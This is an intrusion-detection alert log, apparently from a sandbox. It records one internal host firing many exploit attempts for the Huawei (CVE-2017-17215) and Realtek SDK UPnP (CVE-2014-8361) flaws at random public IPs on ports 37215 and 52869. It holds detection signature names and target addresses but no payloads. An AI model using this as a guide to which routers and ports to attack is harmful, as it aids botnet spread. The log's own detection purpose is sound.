07/20/24-23:01:33.050087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36160	37215	192.168.2.14	41.47.140.98
07/20/24-23:01:07.676921	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58484	37215	192.168.2.14	197.211.130.216
07/20/24-23:01:14.397786	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51238	37215	192.168.2.14	157.159.230.178
07/20/24-23:01:28.142626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53982	37215	192.168.2.14	41.177.251.100
07/20/24-23:01:06.656946	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50930	52869	192.168.2.14	35.112.217.187
07/20/24-23:01:22.776061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48444	37215	192.168.2.14	41.218.123.179
07/20/24-23:01:11.468893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40980	37215	192.168.2.14	197.53.34.158
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38902	37215	192.168.2.14	9.1.245.191
07/20/24-23:01:11.454990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49776	37215	192.168.2.14	197.210.10.61
07/20/24-23:01:06.662973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42128	52869	192.168.2.14	2.229.175.12
07/20/24-23:01:14.401003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59954	37215	192.168.2.14	197.234.33.66
07/20/24-23:01:19.222596	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48060	37215	192.168.2.14	41.228.227.70
07/20/24-23:01:02.410515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57882	37215	192.168.2.14	41.40.48.20
07/20/24-23:01:33.362728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37854	52869	192.168.2.14	27.74.90.8
07/20/24-23:01:33.283267	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50014	52869	192.168.2.14	197.75.140.61
07/20/24-23:01:06.249116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48580	52869	192.168.2.14	167.60.40.217
07/20/24-23:01:29.678255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56306	52869	192.168.2.14	17.165.228.4
07/20/24-23:01:19.225297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43860	37215	192.168.2.14	41.214.137.240
07/20/24-23:01:37.217137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58804	37215	192.168.2.14	197.109.92.218
07/20/24-23:01:28.211361	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39664	37215	192.168.2.14	203.69.127.147
07/20/24-23:01:22.784106	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53074	37215	192.168.2.14	158.205.226.229
07/20/24-23:01:34.209292	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58368	52869	192.168.2.14	124.36.191.164
07/20/24-23:01:34.899757	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37728	52869	192.168.2.14	139.231.65.139
07/20/24-23:01:06.258144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57570	52869	192.168.2.14	85.70.210.244
07/20/24-23:01:25.231733	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37616	37215	192.168.2.14	157.137.64.242
07/20/24-23:01:29.725889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33378	52869	192.168.2.14	117.101.242.241
07/20/24-23:01:02.440694	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33668	37215	192.168.2.14	197.146.102.184
07/20/24-23:01:02.411645	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50160	37215	192.168.2.14	41.243.57.159
07/20/24-23:01:13.329426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47872	52869	192.168.2.14	20.43.107.217
07/20/24-23:01:29.187581	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44206	52869	192.168.2.14	75.209.239.5
07/20/24-23:01:13.331310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53118	52869	192.168.2.14	146.126.33.191
07/20/24-23:01:19.221490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33374	37215	192.168.2.14	41.223.113.217
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60196	37215	192.168.2.14	41.97.200.193
07/20/24-23:01:33.306736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53798	52869	192.168.2.14	160.160.84.223
07/20/24-23:01:34.920870	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45056	52869	192.168.2.14	181.57.234.228
07/20/24-23:01:11.454991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45242	37215	192.168.2.14	41.90.150.101
07/20/24-23:01:14.398311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35924	37215	192.168.2.14	197.178.53.110
07/20/24-23:01:25.230657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59772	37215	192.168.2.14	157.23.91.8
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49380	37215	192.168.2.14	174.128.37.204
07/20/24-23:01:13.333349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54312	52869	192.168.2.14	36.44.157.9
07/20/24-23:01:34.920870	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48002	52869	192.168.2.14	203.116.243.30
07/20/24-23:01:28.214699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38494	37215	192.168.2.14	157.94.248.171
07/20/24-23:01:07.668439	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50102	37215	192.168.2.14	207.12.253.202
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45892	37215	192.168.2.14	41.147.178.141
07/20/24-23:01:02.411165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34462	37215	192.168.2.14	197.74.63.134
07/20/24-23:01:13.334552	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37954	52869	192.168.2.14	8.188.8.56
07/20/24-23:01:25.037179	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54966	52869	192.168.2.14	89.243.23.143
07/20/24-23:01:14.399761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55916	37215	192.168.2.14	41.76.38.210
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59972	37215	192.168.2.14	197.136.193.143
07/20/24-23:01:23.011785	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55794	52869	192.168.2.14	84.167.36.221
07/20/24-23:01:02.407178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55478	37215	192.168.2.14	197.196.31.171
07/20/24-23:01:29.169846	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45252	52869	192.168.2.14	19.5.103.108
07/20/24-23:01:34.700035	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42272	52869	192.168.2.14	177.131.193.232
07/20/24-23:01:28.143148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39034	37215	192.168.2.14	115.41.130.186
07/20/24-23:01:29.189808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50160	52869	192.168.2.14	80.229.248.142
07/20/24-23:01:13.329789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49504	52869	192.168.2.14	5.217.173.216
07/20/24-23:01:25.293652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35560	37215	192.168.2.14	41.212.43.89
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36282	37215	192.168.2.14	196.41.223.61
07/20/24-23:01:05.937693	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54926	37215	192.168.2.14	157.253.2.101
07/20/24-23:01:28.143529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47362	37215	192.168.2.14	41.56.29.180
07/20/24-23:01:06.557950	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38224	52869	192.168.2.14	171.144.139.139
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36036	37215	192.168.2.14	157.21.144.252
07/20/24-23:01:33.036114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40892	37215	192.168.2.14	41.67.158.129
07/20/24-23:01:11.448569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43070	37215	192.168.2.14	133.206.177.107
07/20/24-23:01:37.128294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60936	37215	192.168.2.14	157.237.48.108
07/20/24-23:01:24.830631	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50650	52869	192.168.2.14	196.128.196.44
07/20/24-23:01:32.461273	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44016	52869	192.168.2.14	143.76.5.38
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45276	37215	192.168.2.14	197.65.248.102
07/20/24-23:01:07.674717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40506	37215	192.168.2.14	41.131.226.159
07/20/24-23:01:24.479575	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35758	52869	192.168.2.14	71.165.43.178
07/20/24-23:01:06.535488	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58016	52869	192.168.2.14	174.117.157.2
07/20/24-23:01:22.766451	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55560	37215	192.168.2.14	157.60.168.137
07/20/24-23:01:02.412791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54692	37215	192.168.2.14	197.37.177.219
07/20/24-23:01:25.285323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34064	37215	192.168.2.14	197.52.180.202
07/20/24-23:01:22.783280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48636	37215	192.168.2.14	197.211.184.211
07/20/24-23:01:22.781976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48446	37215	192.168.2.14	197.227.132.38
07/20/24-23:01:22.766451	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43998	37215	192.168.2.14	42.61.239.97
07/20/24-23:01:05.807426	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38754	52869	192.168.2.14	156.230.140.45
07/20/24-23:01:11.478031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50980	37215	192.168.2.14	184.194.94.116
07/20/24-23:01:14.397897	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36034	37215	192.168.2.14	157.137.199.87
07/20/24-23:01:34.972618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41950	52869	192.168.2.14	105.235.42.192
07/20/24-23:01:02.411076	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45886	37215	192.168.2.14	24.132.91.59
07/20/24-23:01:07.658956	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50664	37215	192.168.2.14	85.249.61.53
07/20/24-23:01:34.923716	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58860	52869	192.168.2.14	76.61.195.47
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59724	37215	192.168.2.14	157.146.181.67
07/20/24-23:01:14.416273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54356	37215	192.168.2.14	157.52.132.153
07/20/24-23:01:14.398311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44836	37215	192.168.2.14	41.214.189.107
07/20/24-23:01:34.938216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54938	52869	192.168.2.14	138.235.159.241
07/20/24-23:01:02.415804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45326	37215	192.168.2.14	41.156.215.126
07/20/24-23:01:22.788405	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46534	37215	192.168.2.14	175.255.8.55
07/20/24-23:01:37.122448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37672	37215	192.168.2.14	197.14.126.34
07/20/24-23:01:19.231228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54842	37215	192.168.2.14	126.196.232.72
07/20/24-23:01:37.227564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55158	37215	192.168.2.14	197.14.167.217
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44442	37215	192.168.2.14	197.199.66.57
07/20/24-23:01:05.523574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42798	52869	192.168.2.14	68.93.103.227
07/20/24-23:01:24.741442	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35624	52869	192.168.2.14	14.177.37.112
07/20/24-23:01:30.878337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55804	52869	192.168.2.14	131.109.219.124
07/20/24-23:01:11.454990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36974	37215	192.168.2.14	41.22.174.90
07/20/24-23:01:25.230742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58672	37215	192.168.2.14	83.126.62.152
07/20/24-23:01:34.561729	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50172	52869	192.168.2.14	101.76.187.95
07/20/24-23:01:29.189808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54188	52869	192.168.2.14	94.45.75.174
07/20/24-23:01:05.898280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46414	37215	192.168.2.14	187.169.124.166
07/20/24-23:01:24.432437	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51304	52869	192.168.2.14	14.9.177.37
07/20/24-23:01:25.289824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56816	37215	192.168.2.14	157.253.233.93
07/20/24-23:01:37.164417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49980	37215	192.168.2.14	71.117.212.206
07/20/24-23:01:02.411903	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44176	37215	192.168.2.14	157.11.29.10
07/20/24-23:01:02.412965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49258	37215	192.168.2.14	117.157.75.129
07/20/24-23:01:02.413580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36104	37215	192.168.2.14	157.31.140.76
07/20/24-23:01:02.415804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44924	37215	192.168.2.14	41.145.5.36
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42980	37215	192.168.2.14	157.60.163.175
07/20/24-23:01:13.331580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53624	52869	192.168.2.14	71.96.116.185
07/20/24-23:01:32.294949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39508	52869	192.168.2.14	59.155.45.17
07/20/24-23:01:19.220180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59928	37215	192.168.2.14	157.145.245.15
07/20/24-23:01:24.749806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38970	52869	192.168.2.14	88.250.101.128
07/20/24-23:01:02.440637	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58450	37215	192.168.2.14	157.114.223.179
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42562	37215	192.168.2.14	41.5.49.247
07/20/24-23:01:34.908059	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36340	52869	192.168.2.14	128.10.172.66
07/20/24-23:01:33.071289	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54352	37215	192.168.2.14	41.19.62.203
07/20/24-23:01:11.461509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45696	37215	192.168.2.14	157.3.184.17
07/20/24-23:01:13.335418	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45158	52869	192.168.2.14	110.190.170.59
07/20/24-23:01:33.177248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40194	52869	192.168.2.14	50.184.118.30
07/20/24-23:01:07.658261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51348	37215	192.168.2.14	197.140.242.193
07/20/24-23:01:25.021604	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52968	52869	192.168.2.14	108.190.226.99
07/20/24-23:01:05.905239	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46630	37215	192.168.2.14	41.107.164.92
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58530	37215	192.168.2.14	118.202.81.69
07/20/24-23:01:25.234700	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40462	37215	192.168.2.14	197.53.92.139
07/20/24-23:01:13.329660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44492	52869	192.168.2.14	202.140.60.188
07/20/24-23:01:13.333893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33128	52869	192.168.2.14	179.90.129.47
07/20/24-23:01:07.647712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42796	37215	192.168.2.14	157.140.225.255
07/20/24-23:01:34.972618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36140	52869	192.168.2.14	110.189.251.29
07/20/24-23:01:37.122448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35374	37215	192.168.2.14	197.155.250.14
07/20/24-23:01:28.216939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47796	37215	192.168.2.14	31.12.43.213
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44408	37215	192.168.2.14	197.211.156.8
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50894	37215	192.168.2.14	87.15.36.118
07/20/24-23:01:22.769838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39296	37215	192.168.2.14	82.217.52.153
07/20/24-23:01:07.684526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41978	37215	192.168.2.14	157.180.225.158
07/20/24-23:01:29.170362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47508	52869	192.168.2.14	201.188.111.248
07/20/24-23:01:33.094838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47072	37215	192.168.2.14	133.108.16.92
07/20/24-23:01:14.406708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54184	37215	192.168.2.14	41.209.246.42
07/20/24-23:01:13.332260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59932	52869	192.168.2.14	41.70.70.158
07/20/24-23:01:22.790734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38814	37215	192.168.2.14	41.136.163.60
07/20/24-23:01:34.949876	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52072	52869	192.168.2.14	210.67.14.178
07/20/24-23:01:19.233507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33770	37215	192.168.2.14	157.216.80.38
07/20/24-23:01:11.454417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48940	37215	192.168.2.14	157.87.10.123
07/20/24-23:01:34.927371	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39676	52869	192.168.2.14	27.74.90.8
07/20/24-23:01:22.792913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55434	37215	192.168.2.14	157.53.255.157
07/20/24-23:01:34.918353	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36412	52869	192.168.2.14	71.235.40.59
07/20/24-23:01:33.036114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39130	37215	192.168.2.14	101.101.61.174
07/20/24-23:01:28.214698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36422	37215	192.168.2.14	157.30.110.231
07/20/24-23:01:25.278588	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45418	37215	192.168.2.14	83.5.165.222
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57656	37215	192.168.2.14	200.240.232.128
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49566	37215	192.168.2.14	41.4.62.49
07/20/24-23:01:28.142774	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34732	37215	192.168.2.14	41.116.51.206
07/20/24-23:01:24.076619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56946	52869	192.168.2.14	144.251.49.213
07/20/24-23:01:05.902118	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49318	37215	192.168.2.14	41.34.107.16
07/20/24-23:01:05.905239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47388	37215	192.168.2.14	181.7.138.240
07/20/24-23:01:32.773577	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43880	52869	192.168.2.14	91.137.254.120
07/20/24-23:01:34.949876	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40684	52869	192.168.2.14	115.207.235.241
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52066	37215	192.168.2.14	41.118.39.16
07/20/24-23:01:37.217137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54070	37215	192.168.2.14	53.194.224.249
07/20/24-23:01:02.405571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55680	37215	192.168.2.14	197.12.227.51
07/20/24-23:01:07.658261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41598	37215	192.168.2.14	157.234.118.231
07/20/24-23:01:29.179619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39558	52869	192.168.2.14	88.250.101.128
07/20/24-23:01:33.901971	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56512	52869	192.168.2.14	35.151.246.95
07/20/24-23:01:34.945580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35542	52869	192.168.2.14	223.125.41.63
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37904	37215	192.168.2.14	41.171.101.241
07/20/24-23:01:11.477131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49936	37215	192.168.2.14	197.70.79.248
07/20/24-23:01:13.332260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40452	52869	192.168.2.14	35.91.143.191
07/20/24-23:01:30.879044	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43326	52869	192.168.2.14	170.186.56.154
07/20/24-23:01:05.573784	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33816	52869	192.168.2.14	101.191.129.126
07/20/24-23:01:07.674222	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54388	37215	192.168.2.14	197.12.159.55
07/20/24-23:01:29.171040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59746	52869	192.168.2.14	118.204.104.96
07/20/24-23:01:02.411645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50160	37215	192.168.2.14	41.243.57.159
07/20/24-23:01:14.397263	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43480	37215	192.168.2.14	41.96.220.109
07/20/24-23:01:33.044521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52612	37215	192.168.2.14	41.89.225.177
